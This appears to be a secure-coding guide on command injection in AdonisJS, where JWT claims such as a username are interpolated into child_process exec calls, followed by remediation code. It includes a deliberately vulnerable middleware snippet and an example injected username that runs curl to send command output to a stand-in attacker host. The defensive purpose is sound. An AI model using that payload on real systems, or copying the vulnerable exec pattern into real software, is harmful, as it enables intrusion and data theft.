Command Injection in Adonisjs with Jwt Tokens
Command Injection in Adonisjs with Jwt Tokens — how this specific combination creates or exposes the vulnerability
Command injection occurs when an application passes untrusted input directly to a system shell or to process-level APIs that execute commands. In AdonisJS, this often appears in code that uses child process utilities such as exec, spawn, or execFile from Node.js, typically to invoke binaries or shell features. If the input includes shell metacharacters (e.g., ;, &, |, `), an attacker can chain additional commands.
JWT tokens become relevant when authorization logic is based on token claims and the token is used to derive or select values that later reach command execution. For example, if a route or policy extracts a value from a JWT (such as a username, tenant identifier, or role) and uses it to construct a shell command, an attacker who can influence the token payload might be able to affect the command that runs. This is more likely when the application trusts claims that should be considered untrusted, or when tokens are accepted without strict validation of structure and content. The risk is not in JWT verification itself, but in how claims from a verified token are used downstream.
Consider an AdonisJS route where a name claim from a JWT is used to build a filename or a shell argument:
import { exec } from 'child_process';
import { BaseMiddleware } from '@ioc:Adonis/Core/Middleware';
import { HttpContextContract } from '@ioc:Adonis/Core/HttpContext';
export default class JwtCommandInjectionMiddleware implements BaseMiddleware {
public async handle({ request, auth }: HttpContextContract, next: () => Promise) {
await next();
const user = auth.getUserOrFail();
// WARNING: user.username is from JWT claims; do not use in shell commands
exec(`echo Hello ${user.username}`, (error, stdout, stderr) => {
if (error) {
console.error('exec error:', error);
return;
}
console.log(stdout);
});
}
}
If the JWT contains username as admin; curl http://malicious.example/steal?data=$(id), the executed command becomes echo Hello admin; curl http://malicious.example/steal?data=$(id), leading to arbitrary command execution. Even without direct shell access, attackers can abuse output handling or file paths. The vulnerability arises when the application builds commands by interpolating values that originated from the token, especially when those values are used in argument lists that are interpreted by a shell.
Additionally, if the JWT is used to select an operation that maps to a command template, an attacker who can influence the token’s scope or impersonate a different subject might trigger unexpected command paths. Proper validation of token claims and strict separation of identity from execution logic are essential to prevent this combination from becoming an attack vector.
Jwt Tokens-Specific Remediation in Adonisjs — concrete code fixes
Remediation focuses on never using untrusted data from JWT claims in command construction, validating and sanitizing all inputs, and using safe execution patterns. Below are concrete, AdonisJS-aligned examples.
1. Avoid shell interpolation entirely
Do not concatenate JWT claims into shell commands. Instead, avoid the shell when possible by using the array form of execFile or using Node.js APIs directly.
import { execFile } from 'child_process';
import { HttpContextContract } from '@ioc:Adonis/Core/HttpContext';
export async function safeExecute (ctx: HttpContextContract) {
// Safe: pass arguments as an array; no shell involved
execFile('echo', ['Hello', 'world'], (error, stdout, stderr) => {
if (error) {
ctx.response.badRequest({ error: 'execution failed' });
return;
}
ctx.response.send({ output: stdout });
});
}
2. Strictly validate and sanitize claims if you must use shell features
If you must use shell features (which is discouraged), validate the claim against a strict allowlist and escape dangerous characters. Do not rely on client-supplied values for command selection.
import { exec } from 'child_process';
import { escape } from 'string-escape-shellarg';
import { HttpContextContract } from '@ioc:Adonis/Core/HttpContext';
export async function escapedCommand (ctx: HttpContextContract) {
const user = ctx.auth.getUserOrFail();
// Whitelist expected values; reject anything else
const allowedNames = new Set(['alice', 'bob', 'charlie']);
if (!allowedNames.has(user.username)) {
ctx.response.unauthorized({ error: 'invalid subject' });
return;
}
// Escape even whitelisted values for defense in depth
const safeName = escape(user.username);
exec(`echo Hello ${safeName}`, (error, stdout, stderr) => {
if (error) {
ctx.response.internalServerError({ error: 'command error' });
return;
}
ctx.response.send({ output: stdout });
});
}
3. Use policy-based mapping instead of raw claims for command selection
Map verified, server-side roles or permissions to predefined commands rather than using raw JWT data. This keeps command templates static and removes injection leverage from token content.
import { execFile } from 'child_process';
import { HttpContextContract } from '@ioc:Adonis/Core/HttpContext';
const commandMap: Record = {
report: ['node', 'scripts/report.js'],
export: ['node', 'scripts/export.js'],
};
export async function roleBasedCommand (ctx: HttpContextContract) {
const user = ctx.auth.getUserOrFail();
const role = user.role; // ensure role is verified server-side, not from raw JWT
const command = commandMap[role];
if (!command) {
ctx.response.forbidden({ error: 'insufficient permissions' });
return;
}
execFile(command[0], command.slice(1), (error, stdout, stderr) => {
if (error) {
ctx.response.internalServerError({ error: 'command error' });
return;
}
ctx.response.send({ output: stdout });
});
}
4. Verify JWT structure and claims rigorously
Use strong validation libraries and enforce expected claim types, formats, and constraints. Do not trust payload size or optional fields that may be attacker-controlled.
import { verify } from 'jsonwebtoken';
import { HttpContextContract } from '@ioc:Adonis/Core/HttpContext';
export function validateToken (ctx: HttpContextContract) {
const token = ctx.request.header('authorization')?.replace('Bearer ', '');
if (!token) {
ctx.response.unauthorized({ error: 'missing token' });
return null;
}
try {
const payload = verify(token, process.env.JWT_SECRET!) as {
sub: string;
role: 'user' | 'admin';
exp: number;
};
// Enforce strict types and ranges
if (typeof payload.sub !== 'string' || !/^[a-zA-Z0-9_-]{1,64}$/.test(payload.sub)) {
ctx.response.unauthorized({ error: 'invalid token payload' });
return null;
}
return payload;
} catch {
ctx.response.unauthorized({ error: 'invalid token' });
return null;
}
}
5. Principle of least privilege and runtime monitoring
Run AdonisJS services with minimal OS-level permissions. Even if injection occurs, this reduces impact. Combine with logging of command attempts that originate from token-derived decisions to detect abuse patterns.
Related CWEs: inputValidation
| CWE ID | Name | Severity |
|---|---|---|
| CWE-20 | Improper Input Validation | HIGH |
| CWE-22 | Path Traversal | HIGH |
| CWE-74 | Injection | CRITICAL |
| CWE-77 | Command Injection | CRITICAL |
| CWE-78 | OS Command Injection | CRITICAL |
| CWE-79 | Cross-site Scripting (XSS) | HIGH |
| CWE-89 | SQL Injection | CRITICAL |
| CWE-90 | LDAP Injection | HIGH |
| CWE-91 | XML Injection | HIGH |
| CWE-94 | Code Injection | CRITICAL |